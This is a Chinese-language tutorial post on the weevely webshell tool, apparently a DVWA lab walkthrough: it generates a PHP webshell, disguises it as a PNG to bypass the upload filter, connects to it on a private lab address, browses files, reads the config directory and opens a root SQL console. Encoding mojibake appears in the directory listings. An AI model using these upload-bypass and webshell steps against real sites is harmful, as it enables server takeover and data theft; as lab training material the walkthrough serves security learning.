文件上传漏洞利用工具weevely - 安全工具篇

新手指南：DVWA-1.9全级别教程之File Upload ，亲测PHP7下，中国菜刀无果。所以，这里介绍weevely。

直接上命令，生成webshell：

➜  ~ weevely generate  weevely hello.php
➜  ~ cd /usr/share/weevely
➜  ~ mv hello.php hello.png

拦截请求

修改文件名后上传

and 继续weevely

?  weevely weevely http://192.168.56.101/DVWA/hackable/uploads/hello.php  weevely

[+] weevely 3.7.0

[+] Target: 192.168.56.101
[+] Session:    /root/.weevely/sessions/192.168.56.101/hello_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> dir
 ???? D ?????±???
 ??????C022-AA4B

 D:\xampp\htdocs\DVWA\hackable\uploads ????

2019-04-22  20:50              .
2019-04-22  20:50              ..
2019-04-22  18:03                32 1.php
2019-04-22  16:14                31 1.php%00.png
2019-02-06  16:11               667 dvwa_email.png
2019-04-22  20:46            17,919 hack.png
2019-04-22  20:50               698 hello.php
2019-04-22  20:21            17,220 ?±¨.png
               6 ????         36,567 ??
               2 ???? 145,805,955,072 ???? 
majx2704:D:\xampp\htdocs\DVWA\hackable\uploads $ whoami
cn\majx2

到这，已经拿到webshell啦~ 继续~

majx2704:D:\xampp\htdocs\DVWA\hackable\uploads $ cd ../../config
majx2704:D:\xampp\htdocs\DVWA\config $ dir
 Ƚ¶¯Ƿ D אµľԐ±뇩¡£
 ¾�ѲºƊŠC022-AA4B

 D:\xampp\htdocs\DVWA\config µń¿¼

2019-04-15  15:11              .
2019-04-15  15:11              ..
2019-04-22  10:00             1,930 config.inc.php
2019-04-16  21:49             1,924 config.inc.php.bak
2019-02-06  16:11             1,857 config.inc.php.dist
               3 ¸þ          5,711 ؖ½
               2 ¸¼ 145,788,071,936 ¿ʓėֽ 
majx2704:D:\xampp\htdocs\DVWA\config $ type config.inc.php

majx2704:D:\xampp\htdocs\DVWA\hackable\uploads $ :sql_console  -host 127.0.0.1 -user root -passwd 123456 
root@localhost SQL> select user()
 
+----------------+
| root@localhost |
+----------------+

还有很多功能，主要针对linux平台的。可以通过--help进行查看。
The End !